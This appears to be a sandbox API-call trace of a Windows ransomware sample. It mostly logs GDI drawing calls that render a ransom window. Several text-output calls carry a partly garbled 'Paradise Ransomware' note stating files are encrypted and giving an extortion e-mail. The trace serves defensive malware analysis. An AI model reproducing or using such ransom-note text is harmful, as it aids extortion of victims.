[0103.507] SelectObject (hdc=0x330107bc, h=0x8100210) returned 0xa100215
[0103.507] UnrealizeObject (h=0x8100210) returned 1
[0103.507] SetBrushOrgEx (in: hdc=0x330107bc, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0103.507] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0103.507] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.507] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.507] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.507] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0103.507] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0103.507] Polygon (hdc=0x330107bc, apt=0x1cc350, cpt=8) returned 1
[0103.508] SelectObject (hdc=0x330107bc, h=0x1900010) returned 0x8100210
[0103.508] IntersectRect (in: lprcDst=0x1cc6b0, lprcSrc1=0x1cc6b0, lprcSrc2=0x4967c8 | out: lprcDst=0x1cc6b0) returned 1
[0103.508] GetDeviceCaps (hdc=0x330107bc, index=2) returned 1
[0103.509] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1c) returned 0x501350
[0103.509] LoadLibraryA (lpLibFileName="UxTheme.dll") returned 0x73e50000
[0103.509] GetProcAddress (hModule=0x73e50000, lpProcName="IsAppThemed") returned 0x73e77009
[0103.509] IsAppThemed () returned 0x1
[0103.509] GetProcAddress (hModule=0x73e50000, lpProcName=0x3d) returned 0x73e706fe
[0103.509] OpenThemeDataEx () returned 0x30002
[0103.510] GetProcAddress (hModule=0x73e50000, lpProcName="DrawThemeBackground") returned 0x73e6d464
[0103.510] DrawThemeBackground () returned 0x0
[0103.510] DrawThemeBackground () returned 0x0
[0103.510] MulDiv (nNumber=13706, nNumerator=0, nDenominator=17700) returned 0
[0103.510] DrawThemeBackground () returned 0x0
[0103.511] DrawThemeBackground () returned 0x0
[0103.511] DrawThemeBackground () returned 0x0
[0103.511] IntersectRect (in: lprcDst=0x1cc788, lprcSrc1=0x1cc788, lprcSrc2=0x4967a8 | out: lprcDst=0x1cc788) returned 1
[0103.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.511] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x10040259
[0103.511] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.511] SelectClipRgn (hdc=0x330107bc, hrgn=0x10040259) returned 2
[0103.511] IntersectRect (in: lprcDst=0x1cc55c, lprcSrc1=0x1cc55c, lprcSrc2=0x1cc52c | out: lprcDst=0x1cc55c) returned 1
[0103.511] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1cc54c | out: lprcDst=0x4967b8) returned 1
[0103.511] IntersectRect (in: lprcDst=0x1cc398, lprcSrc1=0x1cc398, lprcSrc2=0x4967a8 | out: lprcDst=0x1cc398) returned 1
[0103.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0103.511] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0103.511] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0103.511] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.511] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0103.511] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0103.511] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.511] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0xa04020f
[0103.511] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.511] SelectClipRgn (hdc=0x90101e7, hrgn=0xa04020f) returned 2
[0103.511] DeleteObject (ho=0xa04020f) returned 1
[0103.511] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0103.511] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0103.511] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0103.512] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0103.512] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0103.512] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0103.512] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0103.512] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0103.512] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.512] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0103.512] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0103.512] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0103.512] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.512] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0103.512] CreateSolidBrush (color=0x2ededed) returned 0x1110020a
[0103.512] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0103.512] GetStockObject (i=8) returned 0x1b00016
[0103.512] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00017
[0103.512] GetROP2 (hdc=0x90101e7) returned 13
[0103.512] SetBkMode (hdc=0x90101e7, mode=2) returned 2
[0103.512] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0103.513] SetBkMode (hdc=0x90101e7, mode=2) returned 2
[0103.513] SelectObject (hdc=0x90101e7, h=0x1b00017) returned 0x1b00016
[0103.513] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0103.513] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0103.513] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0103.513] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0103.513] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0103.513] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.513] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.513] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.513] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.513] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.513] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.513] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0103.513] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0103.513] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.513] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0103.513] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0103.513] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0103.513] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.514] GetCurrentObject (hdc=0x90101e7, type=0x6) returned 0x18a002e
[0103.514] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.514] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.514] LsSetDoc () returned 0x0
[0103.514] LsCreateLine () returned 0x0
[0103.514] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.515] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.515] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4ba8d0
[0103.515] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.515] LsdnFinishRegular () returned 0x0
[0103.515] LsDisplayLine () returned 0x0
[0103.515] LsDestroyLine () returned 0x0
[0103.515] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.515] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.516] LsSetDoc () returned 0x0
[0103.516] LsCreateLine () returned 0x0
[0103.516] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.517] LsDisplayLine () returned 0x0
[0103.517] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x18a002e
[0103.517] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x0
[0103.517] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.517] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.517] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.517] _CIatan2 () returned 0x20
[0103.517] _CIatan2 () returned 0x20
[0103.517] ExtTextOutW (hdc=0x90101e7, x=393, y=167, options=0x4, lprect=0x1c8498, lpString="All your files have been encrypted! ue to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x23, lpDx=0x1c84d0) returned 1
[0103.517] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.517] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.518] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0103.518] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.518] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.518] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.518] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.518] _CIatan2 () returned 0x20
[0103.518] _CIatan2 () returned 0x20
[0103.518] ExtTextOutW (hdc=0x90101e7, x=914, y=167, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.518] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.518] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.518] LsDestroyLine () returned 0x0
[0103.518] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.518] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x80a0204
[0103.518] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.518] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0103.518] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.518] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0103.518] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0103.519] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0103.519] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.519] SetStretchBltMode (hdc=0x90101e7, mode=3) returned 1
[0103.519] CreateCompatibleDC (hdc=0x0) returned 0xd0101e8
[0103.520] SetStretchBltMode (hdc=0xd0101e8, mode=3) returned 1
[0103.520] SelectObject (hdc=0xd0101e8, h=0x50501fe) returned 0x185000f
[0103.520] GetSystemDirectoryW (in: lpBuffer=0x1c8010, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
[0103.520] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\msimg32.dll") returned 0x746d0000
[0103.532] GetProcAddress (hModule=0x746d0000, lpProcName="AlphaBlend") returned 0x746d1210
[0103.532] AlphaBlend () returned 0x1
[0103.532] SelectObject (hdc=0xd0101e8, h=0x185000f) returned 0x50501fe
[0103.532] DeleteDC (hdc=0xd0101e8) returned 1
[0103.532] BitBlt (hdc=0x330107bc, x=0, y=2, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0103.533] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.533] DeleteObject (ho=0x10040259) returned 1
[0103.533] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0103.533] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0103.533] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.533] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0103.533] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0103.533] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.533] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.533] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0xb04020f
[0103.533] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.533] SelectClipRgn (hdc=0x90101e7, hrgn=0xb04020f) returned 2
[0103.533] DeleteObject (ho=0xb04020f) returned 1
[0103.533] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0103.533] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0103.533] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0103.533] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0103.533] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0103.533] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0103.533] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0103.533] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0103.533] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.533] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0103.533] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0103.533] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0103.533] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.534] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0103.534] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0103.534] GetStockObject (i=8) returned 0x1b00016
[0103.534] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00017
[0103.534] GetROP2 (hdc=0x90101e7) returned 13
[0103.534] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.534] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0103.534] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.534] SelectObject (hdc=0x90101e7, h=0x1b00017) returned 0x1b00016
[0103.535] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0103.535] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0103.535] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0103.535] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0103.535] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0103.535] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.535] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.535] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.535] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.535] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.535] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.535] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0103.535] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0103.535] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.535] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0103.535] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0103.535] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0103.535] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.535] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.535] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.535] LsSetDoc () returned 0x0
[0103.536] LsCreateLine () returned 0x0
[0103.536] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.536] LsDisplayLine () returned 0x0
[0103.536] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x18a002e
[0103.536] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.536] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.536] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.536] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.536] _CIatan2 () returned 0x20
[0103.536] _CIatan2 () returned 0x20
[0103.536] ExtTextOutW (hdc=0x90101e7, x=393, y=17, options=0x4, lprect=0x1c8498, lpString="All your files have been encrypted! ue to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x23, lpDx=0x1c84d0) returned 1
[0103.536] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.536] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.537] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0103.537] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.537] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.537] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.537] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.537] _CIatan2 () returned 0x20
[0103.537] _CIatan2 () returned 0x20
[0103.537] ExtTextOutW (hdc=0x90101e7, x=914, y=17, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.537] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.537] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.537] LsDestroyLine () returned 0x0
[0103.537] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.537] LsSetDoc () returned 0x0
[0103.537] LsCreateLine () returned 0x0
[0103.537] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.539] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0103.539] GetTextCharsetInfo (in: hdc=0x90101e7, lpSig=0x1c8990, dwFlags=0x0 | out: lpSig=0x1c8990) returned 204
[0103.539] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0103.539] StrCmpIW (psz1="Times New Roman", psz2="Times New Roman") returned 0
[0103.539] bsearch (_Key=0x1c89ac, _Base=0x4f9ad8, _NumOfElements=0xba, _SizeOfElements=0x9, _PtFuncCompare=0x73255a32) returned 0x4f9d4e
[0103.541] LsDisplayLine () returned 0x0
[0103.541] SelectObject (hdc=0x90101e7, h=0x70a0202) returned 0x80a0204
[0103.541] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.541] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.541] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.541] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.541] _CIatan2 () returned 0x20
[0103.541] _CIatan2 () returned 0x20
[0103.541] ExtTextOutW (hdc=0x90101e7, x=465, y=67, options=0x4, lprect=0x1c8498, lpString="♛ Paradise Ransomware en encrypted! ue to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.572] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.572] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.573] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x70a0202
[0103.573] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.573] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.573] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.573] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.573] _CIatan2 () returned 0x20
[0103.573] _CIatan2 () returned 0x20
[0103.573] ExtTextOutW (hdc=0x90101e7, x=496, y=67, options=0x4, lprect=0x1c8498, lpString=" Paradise Ransomware en encrypted! ue to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.573] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.573] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.573] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0103.573] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.573] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.573] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.573] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.573] _CIatan2 () returned 0x20
[0103.573] _CIatan2 () returned 0x20
[0103.573] ExtTextOutW (hdc=0x90101e7, x=505, y=67, options=0x4, lprect=0x1c8498, lpString="Paradise Ransomware en encrypted! ue to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x13, lpDx=0x1c84d0) returned 1
[0103.573] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.573] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.573] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0103.573] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.573] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.573] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.574] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.574] _CIatan2 () returned 0x20
[0103.574] _CIatan2 () returned 0x20
[0103.574] ExtTextOutW (hdc=0x90101e7, x=842, y=67, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.574] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.574] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.574] LsDestroyLine () returned 0x0
[0103.574] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.575] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.575] LsSetDoc () returned 0x0
[0103.575] LsCreateLine () returned 0x0
[0103.575] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.578] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.578] LsQueryLineCpPpoint () returned 0x0
[0103.578] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497f80
[0103.578] UnionRect (in: lprcDst=0x1c8c48, lprcSrc1=0x1c8c48, lprcSrc2=0x1c8c24 | out: lprcDst=0x1c8c48) returned 1
[0103.578] IntersectRect (in: lprcDst=0x1c8b14, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b14 | out: lprcDst=0x1c8b14) returned 1
[0103.578] CreateSolidBrush (color=0x2e8d0d0) returned 0xe1001e8
[0103.579] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0103.579] GetStockObject (i=8) returned 0x1b00016
